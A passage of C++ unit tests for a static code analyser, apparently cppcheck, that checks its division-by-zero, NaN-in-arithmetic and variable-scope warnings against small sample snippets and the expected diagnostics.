\"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (double)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (float)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" cout << 42 / (int)0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv2() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int sum = 0;\\n\"\n \" for(int i = 0; i < n; i ++)\\n\"\n \" {\\n\"\n \" sum += i;\\n\"\n \" }\\n\"\n \" cout< do not warn\n check(\"void f() {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n check(\"void f(int x, int y) {\\n\"\n \" int a = x/2*3/0;\\n\"\n \" int b = y/2*3%0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:16]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:16]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv8() {\n // #5584 - FP when function is unknown\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do_something(a);\\n\"\n \" return 4 / a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:12]: (error, inconclusive) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv9() {\n // #6403 FP zerodiv - inside protecting if-clause\n check(\"void foo() {\\n\"\n \" double fStepHelp = 0;\\n\"\n \" if( (rOuterValue >>= fStepHelp) ) {\\n\"\n \" if( fStepHelp != 0.0) {\\n\"\n \" double fStepMain = 1;\\n\"\n \" sal_Int32 nIntervalCount = static_cast< sal_Int32 >(fStepMain / fStepHelp);\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv10() {\n // #5402 false positive: (error) Division by zero -- with boost::format\n check(\"int main() {\\n\"\n \" std::cout\\n\"\n \" << boost::format(\\\" %d :: %s <> %s\\\") % 0 % \\\"a\\\" % \\\"b\\\"\\n\"\n \" << std::endl;\\n\"\n \" return 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv11() {\n check(\"void f(int a) {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (error) Division by zero. [zerodiv]\\n\"\n \"[test.cpp:3:18]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n check(\"void f() {\\n\"\n \" int res = (a+2)/0;\\n\"\n \" int res = (a*2)/0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv12() {\n // #8141\n check(\"intmax_t f() {\\n\"\n \" return 1 / imaxabs(0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:12]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n void zeroDiv13() {\n // #7324\n check(\"int f () {\\n\"\n \" int dividend = 10;\\n\"\n \" int divisor = 1;\\n\"\n \" dividend = dividend / (--divisor);\\n\"\n \" return dividend;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:25]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv14() {\n check(\"void f() {\\n\" // #1169\n \" double dx = 1.;\\n\"\n \" int ix = 1;\\n\"\n \" int i = 1;\\n\"\n \" std::cout << ix / (i >> 1) << std::endl;\\n\"\n \" std::cout << dx / (i >> 1) << std::endl;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv15() { // #8319\n check(\"int f(int i) { return i - 1; }\\n\"\n \"int f() {\\n\"\n \" const int d = 1;\\n\"\n \" const int r = 1 / f(d);\\n\"\n \" return r;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:21]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n // #11158\n void zeroDiv16()\n {\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = number / 10;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i) {\\n\"\n \" int number = 10, a = 0;\\n\"\n \" for (int count = 0; count < 2; count++) {\\n\"\n \" int x = number / 10;\\n\"\n \" a += (i / number) % 10;\\n\"\n \" number = x;\\n\"\n \" }\\n\"\n \" return a;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv17() { // #9931\n check(\"int f(int len) {\\n\"\n \" int sz = sizeof(void*[255]) / 255;\\n\"\n \" int x = len % sz;\\n\"\n \" return x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void zeroDiv18()\n {\n check(\"int f(int x, int y) {\\n\"\n \" if (x == y) {}\\n\"\n \" return 1 / (x-y);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\n \"[test.cpp:2:11] -> [test.cpp:3:14]: (warning) Either the condition 'x==y' is redundant or there is division by zero at line 3. [zerodivcond]\\n\",\n errout_str());\n }\n\n void zeroDiv19()\n {\n check(\"void f() {\\n\" // #2456\n \" for (int i = 0;;)\\n\"\n \" int j = 10 / i;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv20()\n {\n check(\"uint16_t f(void)\\n\" // #11175\n \"{\\n\"\n \" uint16_t x = 0xFFFFU;\\n\" // UINT16_MAX=0xFFFF\n \" return 42/(++x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv21()\n {\n check(\"int f(int n) {\\n\"\n \" return 1 / ((1 / n) - 1);\\n\"\n \"}\\n\"\n \"int g() {\\n\"\n \" return f(1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:14]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDiv22()\n {\n check(\"int main() {\\n\"\n \" return _Generic((0), int: (42) / (0), default: 0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:36]: (error) Division by zero. [zerodiv]\\n\", errout_str());\n }\n\n void zeroDivCond() {\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x > 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x >= 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x>=1' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x==0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n check(\"void f(unsigned int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9] -> [test.cpp:2:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 2. [zerodivcond]\\n\", errout_str());\n\n // function call\n check(\"void f1(int x, int y) { c=x/y; }\\n\"\n \"void f2(unsigned int y) {\\n\"\n \" f1(123,y);\\n\"\n \" if (y>0){}\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:4:10] -> [test.cpp:1:28]: (warning) Either the condition 'y>0' is redundant or there is division by zero at line 1. [zerodivcond]\\n\",\n errout_str());\n\n // avoid false positives when variable is changed after division\n check(\"void f() {\\n\"\n \" unsigned int x = do_something();\\n\"\n \" int y = 17 / x;\\n\"\n \" x = some+calculation;\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n {\n // function is called that might modify global variable\n check(\"void do_something();\\n\"\n \"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // function is called. but don't care, variable is local\n check(\"void do_something();\\n\"\n \"void f() {\\n\"\n \" int x = some + calculation;\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something();\\n\"\n \" if (x != 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:6:9] -> [test.cpp:4:14]: (warning) Either the condition 'x!=0' is redundant or there is division by zero at line 4. [zerodivcond]\\n\", errout_str());\n }\n\n check(\"void do_something(int value);\\n\"\n \"void f(int x) {\\n\"\n \" int y = 17 / x;\\n\"\n \" do_something(x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int x;\\n\"\n \"void f() {\\n\"\n \" int y = 17 / x;\\n\"\n \" while (y || x == 0) { x--; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // ticket 5033 segmentation fault (valid code) in CheckOther::checkZeroDivisionOrUselessCondition\n check(\"void f() {\\n\"\n \"double* p1= new double[1];\\n\"\n \"double* p2= new double[1];\\n\"\n \"double* p3= new double[1];\\n\"\n \"double* pp[3] = {p1,p2,p3};\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #5105 - FP\n check(\"int f(int a, int b) {\\n\"\n \" int r = a / b;\\n\"\n \" if (func(b)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Unknown types for b and c --> do not warn\n check(\"int f(int d) {\\n\"\n \" int r = (a?b:c) / d;\\n\"\n \" if (d == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = a ? 1 / a : 0;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int a) {\\n\"\n \" int r = (a == 0) ? 0 : 1 / a;\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int g();\\n\"\n \"void f(int b) {\\n\"\n \" int x = g();\\n\"\n \" if (x == 0) {}\\n\"\n \" else if (x > 0) {}\\n\"\n \" else\\n\"\n \" a = b / -x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A {\\n\"\n \" int x;\\n\"\n \"};\\n\"\n \"int f(A* a) {\\n\"\n \" if (a->x == 0) \\n\"\n \" a->x = 1;\\n\"\n \" return 1/a->x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10049\n check(\"int f(int argc) {\\n\"\n \" int quotient, remainder;\\n\"\n \" remainder = argc % 2;\\n\"\n \" argc = 2;\\n\"\n \" quotient = argc;\\n\"\n \" if (quotient != 0) \\n\"\n \" return quotient;\\n\"\n \" return remainder;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11315\n checkP(\"#define STATIC_ASSERT(c) \\\\\\n\"\n \"do { enum { sa = 1/(int)(!!(c)) }; } while (0)\\n\"\n \"void f() {\\n\"\n \" STATIC_ASSERT(sizeof(int) == sizeof(FOO));\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11505\n check(\"void f(uint16_t num, uint8_t radix) {\\n\"\n \" int c = num % radix;\\n\"\n \" num /= radix;\\n\"\n \" if (!num) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void nanInArithmeticExpression() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 + 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0 - 1.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 + 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 1.0 - 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25]: (style) Using NaN/Inf in a computation. [nanInArithmeticExpression]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" double x = 3.0 / 0.0;\\n\"\n \" printf(\\\"%f\\\", x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n }\n\n void varScope1() {\n check(\"unsigned short foo()\\n\"\n \"{\\n\"\n \" test_client CClient;\\n\"\n \" try\\n\"\n \" {\\n\"\n \" if (CClient.Open())\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" try\\n\"\n \" {\\n\"\n \" CClient.Close();\\n\"\n \" }\\n\"\n \" catch (...)\\n\"\n \" {\\n\"\n \" return 2;\\n\"\n \" }\\n\"\n \"\\n\"\n \" return 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope2() {\n check(\"int foo()\\n\"\n \"{\\n\"\n \" Error e;\\n\"\n \" e.SetValue(12);\\n\"\n \" throw e;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope3() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \" int *p = 0;\\n\"\n \" if (abc)\\n\"\n \" {\\n\"\n \" p = &i;\\n\"\n \" }\\n\"\n \" *p = 1;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope4() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" int i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope5() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const unsigned char i = 0;\\n\"\n \" if (x) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = 0;\\n\"\n \" if (x) {b()}\\n\"\n \" else {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope6() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int i = x;\\n\"\n \" if (a) {\\n\"\n \" x++;\\n\"\n \" }\\n\"\n \" if (b) {\\n\"\n \" c(i);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\" // #5398\n \" bool success = false;\\n\"\n \" int notReducable(someClass.getX(&success));\\n\"\n \" if (success) {\\n\"\n \" foo(notReducable);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(Test &test) {\\n\"\n \" int& x = test.getData();\\n\"\n \" if (test.process())\\n\"\n \" x = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \"int foo = 0;\\n\"\n \"std::vector vec(10);\\n\"\n \"BOOST_FOREACH(int& i, vec)\\n\"\n \"{\\n\"\n \" foo += 1;\\n\"\n \" if(foo == 10)\\n\"\n \" {\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int &x)\\n\"\n \"{\\n\"\n \" int n = 1;\\n\"\n \" do\\n\"\n \" {\\n\"\n \" ++n;\\n\"\n \" ++x;\\n\"\n \" } while (x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope7() {\n check(\"void f(int x)\\n\"\n \"{\\n\"\n \" int y = 0;\\n\"\n \" b(y);\\n\"\n \" if (x) {\\n\"\n \" y++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope8() {\n check(\"void test() {\\n\"\n \" float edgeResistance=1;\\n\"\n \" std::vector edges;\\n\"\n \" BOOST_FOREACH(int edge, edges) {\\n\"\n \" edgeResistance = (edge+1) / 2.0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'edgeResistance' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope9() {\n // classes may have extra side effects\n check(\"class fred {\\n\"\n \"public:\\n\"\n \" void x();\\n\"\n \"};\\n\"\n \"void test(int a) {\\n\"\n \" fred f;\\n\"\n \" if (a == 2) {\\n\"\n \" f.x();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope10() {\n check(\"int f()\\n\"\n \"{\\n\"\n \" int x = 0;\\n\"\n \" FOR {\\n\"\n \" foo(x++);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope11() {\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" AB ab = { x, 0 };\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f() {\\n\"\n \" int x = 0;\\n\"\n \" if (a == 0) { ++x; }\\n\"\n \" if (a == 1) { AB ab = { x, 0 }; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope12() {\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j = y;\\n\"\n \" if (x)\\n\"\n \" foo(i);\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'i' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" int i[5];\\n\"\n \" int* j;\\n\"\n \" if (x)\\n\"\n \" j = i;\\n\"\n \" foo(j);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = true;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int x) {\\n\"\n \" const bool b = x;\\n\"\n \" x++;\\n\"\n \" if (x == 5)\\n\"\n \" foo(b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope13() {\n // #2770\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" forever {\\n\"\n \" if (i++ == 42) { break; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope14() {\n // #3941\n check(\"void f() {\\n\"\n \" const int i( foo());\\n\"\n \" if(a) {\\n\"\n \" for ( ; i < 10; ++i) ;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope15() {\n // #4573\n check(\"void f() {\\n\"\n \" int a,b,c;\\n\"\n \" if (a);\\n\"\n \" else if(b);\\n\"\n \" else if(c);\\n\"\n \" else;\\n\"\n \"}\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope16() {\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" while((++a) < 56) {\\n\"\n \" foo();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" foo();\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while((++a) < 56);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" do {\\n\"\n \" a = 64;\\n\"\n \" foo(a);\\n\"\n \" } while(z());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'a' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope17() {\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int x;\\n\"\n \" if (a) {\\n\"\n \" x = stuff(x);\\n\"\n \" morestuff(x);\\n\"\n \" }\\n\"\n \" if (b) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope18() {\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" x = 10;\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"\\n\"\n \" if (c) {\\n\"\n \" x = foo();\\n\"\n \" do_something(x);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" short x;\\n\"\n \"\\n\"\n \" switch (ab) {\\n\"\n \" case A:\\n\"\n \" if(c)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" case B:\\n\"\n \" default:\\n\"\n \" if(d)\\n\"\n \" do_something(x);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope20() { // Ticket #5103 - constant variable only used in inner scope\n check(\"int f(int a) {\\n\"\n \" const int x = 234;\\n\"\n \" int b = a;\\n\"\n \" if (b > 32) b = x;\\n\"\n \" return b;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope21() { // Ticket #5382 - initializing two-dimensional array\n check(\"int test() {\\n\"\n \" int test_value = 3;\\n\"\n \" int test_array[1][1] = { { test_value } };\\n\"\n \" return sizeof(test_array);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope22() { // Ticket #5684 - \"The scope of the variable 'p' can be reduced\" - But it can not.\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n // try to avoid an obvious false negative after applying the fix for the example above:\n check(\"void foo() {\\n\"\n \" int* p( 42 );\\n\"\n \" int i = 0;\\n\"\n \" int dummy = 0;\\n\"\n \" while ( i != 100 ) {\\n\"\n \" p = & dummy;\\n\"\n \" *p = i;\\n\"\n \" ++p;\\n\"\n \" ++i;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'p' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope23() { // #6154: Don't suggest to reduce scope if inner scope is a lambda\n check(\"int main() {\\n\"\n \" size_t myCounter = 0;\\n\"\n \" Test myTest([&](size_t aX){\\n\"\n \" std::cout << myCounter += aX << std::endl;\\n\"\n \" });\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope24() {\n check(\"void f(Foo x) {\\n\"\n \" Foo &r = x;\\n\"\n \" if (cond) {\\n\"\n \" r.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) The scope of the variable 'r' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"void f(Foo x) {\\n\"\n \" Foo foo = x;\\n\"\n \" if (cond) {\\n\"\n \" foo.dostuff();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope25() {\n check(\"void f() {\\n\"\n \" time_t currtime;\\n\"\n \" if (a) {\\n\"\n \" currtime = time(&dummy);\\n\"\n \" if (currtime > t) {}\\n\"\n \" }\\n\"\n \"}\", false);\n ASSERT_EQUALS(\"[test.c:2:12]: (style) The scope of the variable 'currtime' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope26() {\n check(\"void f(const std::map &m) {\\n\"\n \" for (auto it : m) {\\n\"\n \" if (cond1) {\\n\"\n \" int& key = it.first;\\n\"\n \" if (cond2) { dostuff(key); }\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope27() {\n checkP(\"void f() {\\n\"\n \" int x = 0;\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"void f() {\\n\"\n \"#ifdef X\\n\"\n \"#endif\\n\"\n \" int x = 0;\\n\"\n \" if (id == ABC) { return x; }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (style) The scope of the variable 'x' can be reduced. [variableScope]\\n\", errout_str());\n }\n\n void varScope28() {\n check(\"void f() {\\n\" // #10527\n \" int i{};\\n\"\n \" if (double d = g(i); d == 1.0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varScope29() { // #10888\n check(\"enum E { E0 };\\n\"\n \"struct S { int i; };\\n\"\n \"void f(int b) {\\n\"\n \" enum E e;\\n\"\n \" struct S s;\\n\"\n \" if (b) {\\n\"\n \" e = E0;\\n\"\n \" s.i = 0;\\n\"\n \" g(e, s);\\n\"\n \" }\\n\"\n \"}\\n\", false);\n ASSERT_EQUALS(\"[test.c:4:12]: (style) The scope of the variable 'e' can be reduced. [variableScope]\\n\"\n \"[test.c:5:14]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\",\n errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::string s;\\n\"\n \" if (b) {\\n\"\n \" s = \\\"abc\\\";\\n\"\n \" g(s);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17]: (style) The scope of the variable 's' can be reduced. [variableScope]\\n\", errout_str());\n\n check(\"auto foo(std::vector& vec, bool flag) {\\n\"\n \" std::vector dummy;\\n\"\n \" std::vector::iterator iter;\\n\"\n \" if (flag)\\n\"\n \" iter = vec.begin();\\n\"\n \" else {\\n\"\n \" dummy.push_back(42);\\n\"\n \" iter = dummy.begin();\\n\"\n 